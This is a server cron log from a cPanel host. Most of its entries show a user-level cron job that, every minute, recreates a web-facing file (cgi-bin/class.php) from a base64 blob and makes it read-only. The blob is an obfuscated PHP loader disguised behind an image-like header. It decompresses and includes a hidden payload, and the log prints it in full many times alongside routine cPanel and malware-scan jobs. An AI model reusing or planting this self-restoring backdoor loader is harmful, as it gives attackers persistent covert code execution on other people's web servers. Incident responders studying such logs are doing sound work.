Nov 15 05:30:01 server CROND[24812]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:30:01 server CROND[24810]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats &gt; /dev/null 2&gt;&amp;1)
Nov 15 05:31:01 server CROND[25153]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:32:01 server CROND[25420]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:33:01 server CROND[25684]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:34:01 server CROND[25954]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:35:01 server CROND[26240]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 15 05:35:01 server CROND[26241]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 05:35:01 server CROND[26244]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 05:35:01 server CROND[26243]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:35:01 server CROND[26242]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 05:36:01 server CROND[26569]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:37:01 server CROND[26928]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:38:01 server CROND[27197]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:39:01 server CROND[27474]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:39:01 server CROND[27475]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 05:40:01 server CROND[27749]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 05:40:01 server CROND[27751]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 05:40:01 server CROND[27750]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 05:40:01 server CROND[27752]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:41:02 server CROND[28094]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:42:01 server CROND[28452]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:42:01 server CROND[28451]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
